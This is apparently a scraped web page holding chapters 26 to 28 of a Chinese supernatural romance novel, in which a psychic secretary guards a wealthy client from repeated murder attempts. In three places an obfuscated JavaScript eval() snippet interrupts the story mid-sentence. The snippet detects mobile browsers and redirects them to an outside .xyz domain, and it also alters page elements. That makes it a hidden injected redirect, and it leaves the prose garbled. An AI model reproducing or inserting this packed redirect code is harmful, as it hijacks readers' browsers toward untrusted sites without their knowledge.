只是轻揉了片刻,眼前男人的眼神便逐渐迷离,周拾秋感觉指尖触碰到更加绵软湿润的东西,伴随着轻咬,黏上了她的手指。 不知为何,那感觉并没有让周拾秋厌恶,反而有些痴迷。 四周的烈火仿佛点燃了周拾秋的心,烤得她两颊泛出红晕,带着玩味的笑,享受着捉弄的乐趣。 没过一会儿,庾林突然狠狠咬了她一口,疼得她大叫一声,缩回手,并气愤地将庾林的头摁到了地板上,后退一步,站直了身子。 拇指指尖留着一排牙印,挣脱时被割破的地方隐隐渗出鲜血。 周拾秋甩着手指,眉头拧到了一起,咬牙切齿地想要将庾林扔进火里。 庾林的身体飘浮起来,仿佛有一只无形的大手,将他像木偶一般提起。 庾林的脸因与地板撞击擦破了皮,可他露出诡异的笑,毫不畏惧地盯着周拾秋,声音嘶哑地说:“你的身体,我也很喜欢。” 只是一句话,听得周拾秋浑身一颤,明明身在火场,可背后阴风阵阵。 正当她疑惑着庾林哪儿来的底气,余光瞥见一道红光在手腕处一闪,心中直呼“不妙”,意识瞬间变得模糊。 等到意识稳定时,场上局势已然对调。 周拾秋的意识突然出现在庾林的身体里,被捆绑住的身体悬在半空中,异能仿佛不再受控,她如何也不能让那股无形的力量消失。 而站在她眼前的自己,此刻也睁开了眼,眼神冷厉得如同寒风,狠狠刮过周拾秋的脸,仿佛要将她撕裂。 庾林的意识占据了她的身体。 情况前所未有的失控,周拾秋一阵心颤。她束手无策地看着庾林一步步靠近,脸上带着阴险的笑。 她的身体随着庾林的视线缓缓落下,脚掌终于触碰到地面,就在她以为庾林要放过她时,身后的力量将她压得单膝跪地。 异能,那不是她可以对抗的力量,只能勉强维持着现状。 一只手倏然抚上她的脸,指腹从脸颊一直划到了嘴唇。 这一幕似曾相识,只是当事人交换了视角。 周拾秋看着自己的脸缓缓靠近,贴到耳边,轻声低语:“既然你这么喜欢我这具身体,那就送你了,不客气。” 带着些许挑衅的话在耳边响起,周拾秋感觉脑子嗡嗡作响,耳垂传来微微痛感,然后被柔软舔舐,酥麻的感觉立即传遍全身,令她双腿发软,猛然背后的力量陡增,将她压倒在地。 庾林站直身子,手指一抹嘴角,露出胜利的笑容,扬长而去。 周拾秋看着那个熟悉的身影消失在火光中,大火愈发兴奋,吐着火舌向她扑来,将她周身点燃。 灼热感瞬间将周拾秋吞噬,她挣扎着,猛然摆脱了身后的压制,坐起了身。 周拾秋叫嚷着从梦中惊醒,一时不知是被吓醒的,还是被疼醒的,她捂着腹部,倾斜着身体,一时不敢再动弹。 康管家被她的叫嚷声吸引,匆匆走到床边,一脸关切。 不知何时输液已经完成,输液架被推到墙边,上面挂着的输液袋也被取走,房间里只剩她和康管家。 “没事,做了个噩梦。”周拾秋不好意思地笑了笑,用沙哑的声音回应,然后重新躺了回去。 刚才的梦境太过诡异,即便醒来后,那些感觉仿佛还停留在周拾秋的身上,燥热难耐。 异样的感觉令她不知所措,周拾秋用被子盖住脑袋,可是如何也无法让自己平静下来,加速的心跳带来躁动,似乎不单单因为愤怒。 周拾秋藏在被子中,通过手环发送了任务完成申请,一瞬间,意识回归身体,那股躁动也随之消失。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665948|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾秋靠坐在床头,手机从手中滑落,又被她下意识地抓住。 她呆呆地望着前方,缓了许久,才将方才梦境中的感觉赶出脑海,心中不由得暗骂:“庾木木,你能不能滚远些?!” 等回过神,周拾秋才注意到手机解了锁,画面停留在危网私聊界面,而聊天的人正是何洲。 手指在屏幕上滑动,一条条陌生的已读信息出现在屏幕中,一直到她记忆中的起始点,那是她拜托何洲去打听白馨的情况。 很显然,在她忙于委托任务时,何洲已经打听到了消息,并与她共享,只是她不记得看过消息,并且还回过话。 【何洲:兄弟,你要的消息我打听到了。】 【乌鸦:说。】 【何洲:今天换风格了?】 【乌鸦:别说废话。】 【何洲:你被我小舅舅传染了?怎么跟你说话,我莫名有种见到我小舅舅的错觉。】 【乌鸦:……】 【何洲:嘿嘿,不开玩笑了,说正事。那天小舅舅晕倒入院,白姨跟着康管家到了佑民医院,一直等到小舅舅醒来,却被拒之门外,她向张医生确认小舅舅平安无事后,才离开了医院。】 【何洲:天啊,我都不知道有这回事,小舅舅真是啥也不告诉我们,我妈听说后,脸都绿了。】 【乌鸦:继续。】 【何洲:哦……后来白姨回家生了场病,那两天除了到佑民医院看病,几乎没有出门,更别说见人了。】 【乌鸦:她有说哪位医生替她诊治吗?】 【何洲:啊?这也要问?你没说,我以为不重要喃。】 【乌鸦:算了,后来呢?】 【何洲:后来啊,白姨说她也不知道怎么回事,原本病好了,又听说小舅舅出了院,便带了瓶红酒上门探望。】 【何洲:可是刚进了屋,白姨就觉得脑子里有个声音,不停告诉她小舅舅爱上了别人,要抛弃她,所以才一直躲着她。】 【何洲:然后她就情绪失控干了错事,等到清醒后,她后悔万分,不知道自己怎么会产生那些奇怪的想法。】 【何洲:她还说明明只是欣赏小舅舅,并没有别的想法,真就跟中邪了一样。】 【何洲:兄弟,你怎么看?真有进化者想杀小舅舅?他确实挺容易得罪人,可他平时也不出门,上哪儿得罪进化者呢?】 【乌鸦:不会说话可以不说。】 【何洲:?】 对话终结在此处,整段对话就发生在几分钟前,可周拾秋完全没有印象。 并且那些说话语气,跟她平时风格迥异,就像变了一个人。 “果然是鬼上身?” 周拾秋正自言自语时,才发现另一只手的手心里,躺着一个平安符。 不知道齐绮什么时候来了医院,也许是看到周拾秋躺在床上失去了意识,不想打搅她工作,便没打招呼,悄悄将护身符塞进她手心,就离开了医院。 心中顿时一阵感动,可没持续两秒,周拾秋突然发现一个问题——如果拿着护身符还能发生怪异的事,那似乎鬼神一说也解不开这道难题。 她思来想去,在排除鬼神论和阴谋论后,只能重回科学的怀抱。 “难道是进化者基因觉醒,产生了第二人格?”周拾秋按压着眉心。 26. 第026章 在一切都没有证据的情况下,这似乎是最合理的解释。 否则她怎么老做那些莫名其妙的梦,那些看似影射着她内心想法的梦。 周拾秋用力拍了拍两颊,试图让自己保持头脑清醒,她有些担心自己会被奇怪的想法左右,做出一些过激的行为。 “只是梦而已。”她反复默念,告诫自己。 世人皆说,进化者自带犯罪基因,发展成犯罪者的几率高出常人百倍。 周拾秋不禁怀疑,自己是否已经走入了某个阶段,正逐渐向着犯罪者进化。这种想法令她不寒而栗。 甩了甩脑袋,周拾秋打电话给齐绮,开口先感谢齐绮来送平安符,并表示没能见上面很可惜。 电话那头,齐绮疑惑地哼出一个鼻音,“我们不是见面了吗?你还奇怪兮兮地问我平安符是干嘛用的,你又不记得了?” 看样子,周拾秋遗失的记忆不止与何洲聊天那几分钟。 “唉,我正要跟你说这事。”周拾秋呼出一口气,尽量保持冷静,“现在我遇到的情况,大概有三种可能性,一是鬼上身,二是别的意识侵入,三是犯罪人格觉醒,你觉得哪种最有可能?” “哦,难怪让我帮你查庾先生是否签了补充协议,原来你怀疑他想换你身体?” 齐绮也听说过阴谋论,不过她并不相信,只当乐子看。 “确实有怀疑过。”周拾秋坦言。 话音刚落,手机里便传来大笑声,齐绮艰难地抑制住笑意,直言:“庾先生有啥想不通,要变性啊?” “这……这可不好说,万一呢?” 周拾秋犹豫半晌,终是没有透露庾林的隐私,虽然对面是自己唯一的朋友,可这点职业操守她还是有的。 齐绮平静分析道:“行吧,就算有这种可能。但委托人的意识都统一传送到虚拟度假村,瑞波恩干嘛给庾先生开绿灯呢?反正至今没有一个危代人遇到过被意识入侵的情况。阴谋论听一听乐一乐就行了,别太当真。” 周拾秋有些被说动,道:“那就先排除这个可能性吧,那鬼上身也不靠谱。” 齐绮问:“怎么说?” 周拾秋气呼呼地回道:“你今天都来送平安符了,这情况不还是发生了嘛。” 齐绮:“道理是这么个道理,可万一是方法没找对呢?” 周拾秋:“你不是唯物主义者吗?” 齐绮:“行,排除这个选项!” 周拾秋声音骤然变阴沉:“果然是犯罪人格觉醒了。” 齐绮“噗嗤”一声笑了出来,安慰道:“傻秋,你觉得有没有一种可能,因为这几个月还债压力太大,加上高强度的工作,所以意识产生混乱了呢?” 经齐绮提醒,周拾秋才意识到,最近五个月她确实很久没有休息过了,特别是在签订私危协议前,她几乎每日每夜都在工作。 难道积攒了五个月的疲劳,在这个月彻底爆发了? 也不是没有这种可能性,谁让怪事恰好发生在自己签订私危协议,并稍微得到片刻喘息之后呢? 也许正是因为松懈了片刻,才引出了连锁反应。 周拾秋对着手机频频点头:“绮绮,还得是你,那我该怎么办?” 齐绮想了想,慢条斯理地说:“要不,你跟庾先生打个商量,先休息两个月,再完成原来的约定,如何?就是不知道他能不能同意先帮你把债还了。” 面对还债这个难题,周拾秋心里也没谱,只能先应下:“成,我找庾木木说说情,希望他别不做人。” 齐绮苦笑:“你可千万别惹事。” 周拾秋厚着脸皮道:“放心,我不是那样的人。” 说完挂断了电话,对于齐绮的提议,周拾秋很是赞同,正好她觉得最近不宜进行意识传送,特别是在发生刚才那件事后。 周拾秋犹豫了许久,才整理好思绪走出房间,虽然感觉现在见庾林会有些尴尬,可这件事似乎有必要跟庾林当面商量一下。 她想好了台词,在房间里演练了好几遍,可走到2003病室门口,却被保镖挡在了门外。 他们不让她靠近房门一步,更不许她敲门,甚至不愿意向屋里的人确认一下,只道这是庾林的吩咐。 周拾秋惊呆了,只能气闷地给康管家打了个电话,可得到的答案让她大失所望。 康管家说:“庾先生说后面几天不用你帮忙输液了,关于袭击之事,你也不必插手。介于进研所的人还没离开,可能你得暂时留在医院,如果庾先生想到有什么事可以让你帮忙,到时自会找你,其他时间你可以自由活动。” 几句话转达了庾林的意思,康管家果断挂了电话,没给周拾秋任何追问的机会。 什么情况? 周拾秋整个人懵了,茫然地转身回到房间,坐在窗边整理起头绪。 她这是被庾林拒之门外了? 她又哪里惹到庾林了? “真是喜怒无常的理想者!” 周拾秋高声怒骂,然后转念一想,这不正合她意吗? 反正她去找庾林也是为了商量请假休息一事,如今这情况,她求之不得,不用工作,只等着拿钱,对她又不是坏事。 这样一想,周拾秋顿时一身轻松。 庾林也的确如他自己所说那般,不再发起委托,也没再找过周拾秋,就好像忘了有她这个人。只有康管家一日三餐送来饭菜,才稍微安抚了周拾秋烦躁的心情。 此后两天,周拾秋连庾林的面都没见过,倒是看到杨护士每天下午按时出入2003病室。 周拾秋还没来得及告诉庾林,杨护士似乎对他有点心思,也不知道庾林自己有没有觉察到。出于好奇,周拾秋总透过门缝观察着对面房间,可始终没等到她期待的结果。 杨护士总是笑盈盈地走进房间,又蹦蹦跳跳离开房间,看上去与庾林的相处很是和谐。 “什么嘛,平时一副很怕与人接触的模样,原来是看人下菜啊?” 周拾秋忍不住小声嘀咕,感觉有些异样。 这样平淡得好像与周拾秋毫无关系的生活一直持续到第二天下午。 下午2点左右,见杨护士挂好输液袋,蹦蹦跳跳离开,周拾秋百无聊赖地躺回了床上,在手机上设置了一个2小时的闹铃,然后就吃着零食追剧,享受难得的假期。 约莫过了一个半小时,房门突然被敲响,周拾秋疑惑地起身应门。 门外站着康管家,一见她看门,便将一张门禁卡塞进了她手里,并匆忙嘱托:“刚才张医生打电话说,调整了药方,需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680502|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我去药房取药,我去去就回。如果路上耽搁了,等会儿杨护士来取针,你帮我看着点。” 许久没接到任务的周拾秋急忙点头,然后挥手让康管家放心。 康管家走后,周拾秋冲对面门口站着的两个保镖摇了摇门禁卡,然后掩上房门。 她看了看手机,距离输液结束大约还有半小时,于是又不慌不忙地回到床上继续看剧。 反正门禁卡在她手上,门口还有两个保镖,杨护士真来了,保镖自然会提醒杨护士到2004病室找她拿门禁卡开门。 就这么又过了十来分钟,眼瞅着时间一点点接近,周拾秋反倒没了先前的淡定。 她没耐心地下了床,看着迟迟没响的闹铃,根本静不下心来。 周拾秋索性蹑手蹑脚走到门边,将房门拉开一道缝,悄悄透过门缝查看对面的情况。 只见对面门口的两个保镖消失了。 周拾秋瞪大了眼睛,反复调整着视线方向,再三确认自己没有看错,然后开门探出了头去。 两个保镖确实不知所踪,随后她注意到走廊里的动静。 此刻的走廊里异常吵闹。 不少病人跟她一样,站在门口向外张望。 走廊里,医生和护士围成一团,脸上遗留着些惊魂未定的味道。 而在他们的包围圈里,一个暴躁的中年男子正被两个身穿制服的人压在地上,不远处还躺着一把匕首,刀刃上残留着鲜血的痕迹。 被压在地上的男子失心疯一般挣扎吼叫,嘴里叫着张信的名字,并威胁要杀了他。 至于这个收到死亡威胁的医生,此刻正捂着胳膊站在一旁,指缝间有些许血液渗出。 有人关心着张医生的伤势,有人打电话联系保安,有人在报警…… 周拾秋走出房间,向隔壁看热闹的病人打听了情况,才知就在几分钟前,这里发生了一场医闹。 某病人家属对张医生心生不满,所以带着匕首来医院行凶。 恰好这个时候,张医生在二十楼巡房,所以才惊扰了住院的病人。 说来运气也好,这层楼刚好有两个体格壮硕的保镖,听到张医生的求救声后,以最快的速度制服了闹事者。 是啊,运气真好…… 在这热闹的场景里,周拾秋感觉到一丝诡异。 具体是什么,她说不上来,总感觉这场闹剧来得太不合时宜了些。 看着压在闹事者身上等待保安的两个保镖,周拾秋微微皱了皱眉,扭头看了看庾林所在的病房。 那间病房的门依旧和平时一样,紧闭着,仿佛与世隔绝,丝毫不受外界感染。 带着点说不上来的怪异感觉,周拾秋走到了2003病室门前,轻轻敲了敲门。 房间里并无动静。 刚收回手,周拾秋就敲了敲脑袋,嘴里低声骂道:“周拾秋,你是不是傻啊,康管家又不在,你难道还指望庾木木那个傲慢的家伙来开门吗?” 佑民医院的VIP病房私密性极好,隔音都采用最高规格,所以想听到房里的动静几乎不可能。 周拾秋只能做好忍受庾林冷嘲热讽的心理准备,用门禁卡解锁,转动门把手,推门而入。 然后,她便听到了比走廊更激烈的声音。 27. 第027章 在门缓缓打开的一瞬间,一阵打斗声传来,伴随着女子刺耳的谩骂声。 “你凭什么不喜欢我?” “我在你眼里就这么不值钱,任你践踏吗?” 周拾秋一惊,循声望去,只见杨护士正握着一支注射器,费力与庾林较劲。 注射器筒内装着不明液体,看二人争斗的场景,实在看不出是什么好东西。 庾林半躺在病床上,输液的手支撑着身体,另一只手拿着枕头阻挡着杨护士的靠近。他几次想要按下床头的呼叫按钮,可杨护士的进攻叫他只能被动防御。 因为心病和腹部的伤,庾林根本发挥不出力量优势,二人竟隔着枕头形成了僵持局面。 “我就这么让你恶心,碰我一下你会死?太过分了,你这种人真该死!” 杨护士转而去拉扯庾林身上的被子,可这一决策显然错了,她稍不留意,庾林找准时机,迅速伸手按下了呼叫按钮。 这让杨护士怒不可遏,进攻变得更加激进,似要将庾林生吞活剥了一般。 周拾秋站在门口愣了会儿神,房间里的精彩度不亚于电视剧,她一时看入了迷,很想看看二人斗法最终是谁将谁拿下。 虽然她本人挺想教训庾林,可一想到庾林如果落败,真的可能没命,她赶紧打消了看戏的想法,准备赶在紧急委托任务触发前,出手帮忙解决危机。 周拾秋人未到床边,被杨护士拉扯的被子先动了,陡然腾空展开,拦下杨护士所有攻击,并打落了她手里的注射器。 房间里的灯光忽然闪烁,透气窗骤然开启,冷风直灌进屋中,撩起白纱窗,在空中疯狂舞动。 屋子里的东西发出嘎嘎作响的怪声,仿佛一切都活了过来,蠢蠢欲动地想要扑向杨护士。 杨护士被房间里忽如其来的异变吓破了胆,手足无措地想要逃离,一转身便撞上周拾秋。 周拾秋的脸在忽明忽暗的灯光照射下,透出一股阴冷的死气,金色的波纹在她的瞳孔之中游走,让她整个人看上去如同鬼魅一般。 周拾秋缓缓开口,一阵阴森却直击心灵的声音窜入杨护士的脑海之中。 “小护士,该休息了。” 很快,杨护士停止抵抗,两眼一闭便往地上倒,周拾秋急忙扶住杨护士,将人缓缓放倒在地。 周拾秋不再管杨护士,转头看向病床方向。 庾林发现危机解除后,虚弱地平躺在床上,输液管里被血液占领,他面如白纸,汗湿的发丝粘黏在额前,急促的呼吸使胸口剧烈起伏,四肢脱力,枕头掉落到地板上。 周拾秋带着一脸得意的笑,走回床边,捡起枕头,胡乱往庾林身上一扔,嘴上调侃:“别装得一副要死不活的样子,你要真快死了,我早被传送过来了。” 庾林脸上表情微微扭曲成一团,仿佛受到重创一般,一只手紧扣床沿,手上爬满蜿蜒的血管,另一只手则死死按住腹部。 周拾秋正想讥讽他会演,晃眼瞥见床头柜上放着的手环。 她拿起手环多看了两眼,确定那就是庾林的手环,再转头看向庾林的手腕,原本应该戴着手环的地方,什么都没了。 “你这是不小心,还是故意?”周拾秋一脸不爽地低头看向庾林。 “不小心。”庾林不情不愿地从牙缝里挤出三个字。 可从庾林的脸上,周拾秋仿佛读出了“故意”两个字。 “你干嘛摘掉手环?”周拾秋气恼地质问,“想死?怕被别人救下来?” 庾林勉强支起身子,从周拾秋手里抢过手环,却没有戴回手腕。 他强挤出一个满不在乎的笑,抬了抬眼,用视线引导着周拾秋,说:“这些用不着你管,马上要来人了,你不如先解决眼下麻烦。” 周拾秋明白他是指用异能控制杨护士一事,她没多说什么,转身走回杨护士身边。 她没有立刻接触对杨护士的控制,而是注视着门外,直到听见脚步声,才打了个响指。 杨护士恢复意识的瞬间,她有片刻的迷惘,睁眼环顾四周,仿佛不明白自己为何会出现在这个房间。 但当杨护士的视线落在庾林脸上时,那份疯狂又占据了她的大脑,让她整个人变得歇斯底里,扯着嗓子大喊大叫。 “是她吗?因为她,你才疏远我吗?不能原谅,绝对不能原谅!” 杨护士的目光四处搜寻,最后发现了掉落在地的注射器。她越过周拾秋,径直冲去捡注射器,然后高举着注射器,又朝庾林冲去。 恰在此时,保镖、医生、护士急匆匆赶到了门口。 眼看庾林要遭殃,有人发出尖叫,有人冲进房间阻拦,也有人退后旁观。 周拾秋赶紧装模作样地赶在保镖到位前,迅速追上去,从身后拦腰抱住杨护士,嘴里还不忘表现出身为秘书的忠诚。 “小护士,你清醒点,我绝不允许你伤害我老板!” 也就表演了这一幕,最终及时赶到的保镖制服了杨护士,并收缴了行凶道具。 杨护士被保镖押出病房后,张医生一脸紧张地上前确认庾林的安危。 庾林用手捂住腹部,浅色的衣服被晕染上一团鲜红,犹如正在盛开的玫瑰,一点点向外扩展。 “伤口撕裂了……” 张医生脸色阴沉地说了一句话,随后便招呼来两个男护士,送庾林到手术室做紧急处理。 恰好这时康管家拿着装药的纸袋回到了房间,看见混乱的场面,一脸错愕,第一时间推开人群,挤到床边,确认庾林的安危。 庾林精神有些恍惚,一只胳膊搭在眼睛上,被人用转运床推出了病房,康管家时刻跟在他身旁。 保镖则押着杨护士往外走,并打电话通知警方。 张医生温柔地驱散了围观的人,并让医生护士回到自己的岗位。只是离开时,他的目光不自觉地从周拾秋脸上一扫而过,带着些许困惑。 一行人浩浩荡荡离开了病房,热闹的房间霎时间变得冷清,只剩下周拾秋一人,目送着众人退场。 房间重归无声,冷风依然通过窗户缝隙钻进房间里,吹动着白纱窗,仿佛想要引起谁的注意似的。 温度在一点点消逝,周拾秋站在房间里感觉到阵阵凉意。她赶紧走到窗边,将透气窗关上,又简单收拾了一番凌乱的房间。 等到一切收拾完毕,她疲倦地坐到窗边,手肘放在餐桌上,手掌托着下颌,歪着脑袋,视线向窗外飘去。 透过落地窗,可以看到车水马龙的街景,此刻太阳向西倾斜,金灿灿的阳光正好打在玻璃窗上,为屋子里加上一层暖洋洋的滤镜。 因为房间朝向问题,这间房看不到初升的朝阳,不过夕阳西下的场景应是一绝。 不知发了多久呆,房间的温度已经重新回暖,周拾秋听见了开门声,缓缓扭过头,只见康管家推着轮椅,将庾林送回了房间。 庾林一进门便发现周拾秋呆坐在窗边,眼神闪躲着不去看她,等到轮椅靠近床边,他才捂着腹部坐回到床上。 然后他若无其事地问了句:“坐那干嘛?” “等你。”周拾秋回答简短。 “想讨要奖赏?”庾林冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694381|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷问道。 周拾秋原本没有这么想,可听他这么一说,心中顿时不爽,于是故意提高声调,回道:“当然!我可救了你两回,你的命应该没那么便宜吧?” “贪得无厌。” 四个字轻飘飘地从庾林嘴里传出,带着一丝轻慢的味道。 周拾秋难以置信地瞪着庾林,愈发看不懂眼前这个傲慢的理想者。 “你不会是怕我另要报酬,所以才故意摘掉手环吧?小肚鸡肠……” “不是。”庾林有些不耐烦地打断了她的嘀咕。 “那是为什么?”周拾秋死咬不放。 庾林瞥了她一眼,表情复杂,伸手摸了摸耳垂,正好挡住脸上泄露的一丝尴尬,声音有些不自然地回道:“单纯不想将身体控制权交到别人手上。” “啊?”周拾秋没听懂,但大为震撼,“好像不是我逼你发布委托的吧?帮忙体检、输液,这些也不是我自愿的吧?” 庾林轻咳两声,强硬道:“总之,今后不用你帮忙了。” 周拾秋只觉莫名其妙,不知道庾林在别扭什么。 她对这些烦人的琐事没有兴趣,庾林没这种想法,她求之不得,没太纠结,爽快地应道:“可以,反正你别忘了我们之间的协议。” “钱不会少给你一分。”庾林公事公办地回答。 周拾秋身子后仰,倚靠着椅背,双手环在胸前,微微抬起下巴,以一种审视的眼光看着庾林,话锋一转问:“所以,你怎么得罪了小护士?前两次委托时,她还挺喜欢我,不,喜欢你,怎么突然气得想杀人了?” 庾林微微一怔,然后面不改色地反问:“你对她做什么了?” 周拾秋反驳:“那是你的小迷妹,管我什么事,我什么都没做,你别冤枉好人。说起来,你这么讨人嫌,惹怒小姑娘也不奇怪。” “说不定被惹怒的只有你。”庾林冷笑一声,丝毫不介意周拾秋对他的评语。 “那我可以申请精神损失费吗?” “不可以。” “凭什么?” “我可没找你讨要精神损失费。” “哈?我又没对你做什么,你损失啥了?” “你……”庾林刚想回怼,忽觉难以启齿,眼神游离片刻,终将话吞了回去,“咳,没什么,我没跟杨护士说过话,康管家离开没过多久,杨护士突然开了门,我只是说了一声‘出去’,她就好像受了刺激,拿着注射器就冲了过来。” “果然还是被控制了啊……”周拾秋若有所思。 “这个案子不用你调查了,两次失手,那人大概率不会再继续。” 庾林一脸平静,仿佛说的事与自己无关一般。 看着庾林眼神中透出的坚定,周拾秋皱起了眉头,疑心问道:“你是不是已经知道谁想杀你?” 庾林没有回答,可他的表情告诉周拾秋,他心中已经有了怀疑对象,并且他不打算深究下去。 “这件事与连环凶案无关,如果那人就此收手,我会放弃追究责任,只要你别再牵扯进来,进研所也会很快撤离。”庾林语气平淡,却好像在下达通知,丝毫没有商量余地。 这话落在周拾秋耳朵里,有些刺耳,似乎是在怪她多管闲事,她没好气地回道:“追不追究是你的自由,但确保你活着是我的工作,否则我上哪儿再找两百万去。” 说完想说的话,周拾秋气呼呼地离开了2003病室。 看着周拾秋使着性子摔门而去,庾林无奈地摇了摇头,微微勾起嘴角叹道:“没有最后一句,倒挺叫人感动。” 28. 第028章 房门在身后砰的一声关上,周拾秋气得直跺脚,恶狠狠地回头,瞥了一眼身后,仿佛能穿透房门看见床上那个处处与她作对的人。 她不知庾林是不是被两次袭击吓傻了,既然对方要杀他,又怎么可能轻易收手。 庾林想置之不理,她可不会,再说,万一庾林赌错了,她得在医院待到什么时候? 周拾秋掏出手机,给何洲发了条私信: 【乌鸦:你还是帮我问问,白馨到医院见的是哪位医生?】 正在等待何洲回信时,周拾秋隐约感知到进化者气息,耳边回响的脚步声越来越近。霎时间警觉,她抬起头循声望去,正好撞上了褚成舟高深莫测的眼神。 心里咯噔一响,周拾秋转身欲走,却被褚成舟出声叫住。 褚成舟毫不见外地竖起手掌,朝周拾秋挥了挥手指,然后熟练地从衣兜里掏出小本子和笔,问周拾秋:“请问你与庾先生的关系是?” 周拾秋一瞬间全身僵硬,瞥了一眼跟在褚成舟身旁的短发女人,不停在心里安慰自己:“别担心,不要紧张,放轻松,表现得自然些,施煦只是低阶进化者,发现不了我的身份……” 一通心理暗示后,周拾秋挤出一个僵硬的笑容,回答:“我、我是庾先生的私人秘书,周拾秋。” 褚成舟迅速在本子上记录下信息,然后一边打量着周拾秋,一边继续询问:“哦,原来你就是周拾秋,很高兴在这儿遇到你。似乎你的朋友,齐小姐,与庾先生签订了私危协议?” 周拾秋咽了咽口水,故作轻松地回答:“嗯,我正是通过绮绮认识了庾先生,还在他手下谋了份差事。” “所以你今天出现在这里是?”褚成舟眼神质疑。 “陪护,工作嘛。”周拾秋尽量不透露过多信息,避免让褚成舟抓到漏洞。 “哦,原来如此。”褚成舟露出意味深长的笑,“好像上回庾先生遇袭,你也在现场?” 这意有所指的问话,让周拾秋心头一凉,双手藏到身后,十指纠缠到一起,组织着语言:“是啊,那天加班挺晚,送庾先生回酒店后,才发现他的围巾和手套落在了车上,上楼给他送围巾手套,意外撞见袭击现场。” 褚成舟一边记录着重点信息,一边偷偷观察着周拾秋的表情,看似随意地感叹一句:“秘书小姐受惊了吧?次次都遇上这种事。” 周拾秋从话中听出了试探之意,心头一紧,面上强装镇定,做出一副心有余悸的可怜模样。 “是啊,打个工而已,你说我怎么这么倒霉?可有什么办法呢,我妈从小就教育我,要见义勇为,况且那是老板,再怕也得帮忙啊。” 褚成舟耐着性子听着,却一字都未往小本子上记,显然对他来说,这些信息一点价值都没有。 “哦,看出来了,秘书小姐很有职业精神。”褚成舟敷衍地夸奖一声,随即朝施煦使了个眼色。 周拾秋随他的视线一道,望向一直沉默不语的施煦,然后看见施煦摇了摇头,她不由得放下心来。 褚成舟咬住笔头,看着小本子,沉默了好一会儿。 “秘书小姐最近看见过不寻常的人或事吗?” 周拾秋歪着脑袋,指尖在额间轻叩,五官紧缩,伪装成努力思考的模样,片刻后,说出了早就准备好的答案。 “要说不寻常,也就白女士和杨护士了吧?” “呵呵。” 褚成舟有些哭笑不得,显然这个答案并不能让他满意,他将小本子和笔收回衣兜,又偷偷给施煦递了个眼神,随后回过头,犀利的目光锁定在周拾秋身上。 施煦立刻明白褚成舟的用意,从怀中的文件夹中抽出一张纸,转了个向,递到周拾秋面前。 不用看,周拾秋也知道纸上印着什么内容。 果然,百泉的照片就这么呈现在眼前。 “庾小姐最近在医院见过这个人吗?”施煦柔声问道。 “没有。”周拾秋摇了摇头。 她笃定褚成舟从她脸上看不出什么,因为她确实没有撒谎,她已经五年未见过百泉了。 如她所料,在施煦收回照片后,褚成舟的语气明显少了几分警惕:“好的,谢谢秘书小姐的配合。” 周拾秋微笑着点了点头,然后告辞离开,与二人擦肩而过后,才稍稍松了一口气,手心早已沁满汗液。 身后传来敲门声,她一刻不敢停留,头也不回地转进了楼梯间。 她一个人在阶梯上坐了许久,才终于止住身体的颤抖。 拿出手机看了看时间,预测着褚成舟与施煦是否已经离开,这才发现何洲回了两条私信,时间间隔大约10分钟。 【何洲:怎么又要问了?不是说算了吗?行吧,等着。】 【何洲:让我妈帮忙问了,小舅舅的主治医生张信你知道吧?就找他看的。】 看着这个名字,周拾秋陷入了沉思。 这个结果与她的设想不谋而合,可问题是动机与手法她还没想通。 半个小时后,周拾秋走楼梯下到3楼,站在了张医生的办公室门口。 张信是心内科主任,在这层拥有一间独立办公室,而此刻,他正在办公室里。 周拾秋调整好表情,轻轻敲了敲门。张医生大概以为是护士,随意应了声“请进”,所以当他看到周拾秋推门而入时,脸上露出一丝惊讶。 不过只是片刻,张医生立马表现出热情友好的一面,招呼周拾秋在他对面坐下,微笑着问:“你好像是庾林的秘书?” “对,周拾秋。”周拾秋爽快回答。 她一边坐到椅子上,一边观察着房间陈设。 一切看上去都很普通,只有办公桌上几样东西吸引了周拾秋的视线。 电脑右手边摆放着一个老旧的相框,从周拾秋的角度,只能看见相框背面。相框旁放着一个透明花瓶,花瓶中插着一束百合。电脑左边则放置着一个做工格外精致的小沙漏,沙粒已经全部聚集到下层。 大概是她多看了相框几眼,引起了张医生的注意,张医生大方地将相框往她的方向偏移了一点,眼神温柔地落在照片上,“我母亲,一手将我养大成人。” 这是一张医生与母亲的合影,照片上的张医生尚显青涩,似乎刚考上大学,在学校门前与母亲合影,母亲怀里抱着一束百合。 “你和母亲关系真好。”周拾秋随口夸道,为了掩饰过分的打探,只好追加一句,“我还以为张医生放的是女朋友的照片喃。” 张医生看上去没有多想,还笑着打趣道:“周小姐来找我,应该不是想确认我有没有女朋友吧?” 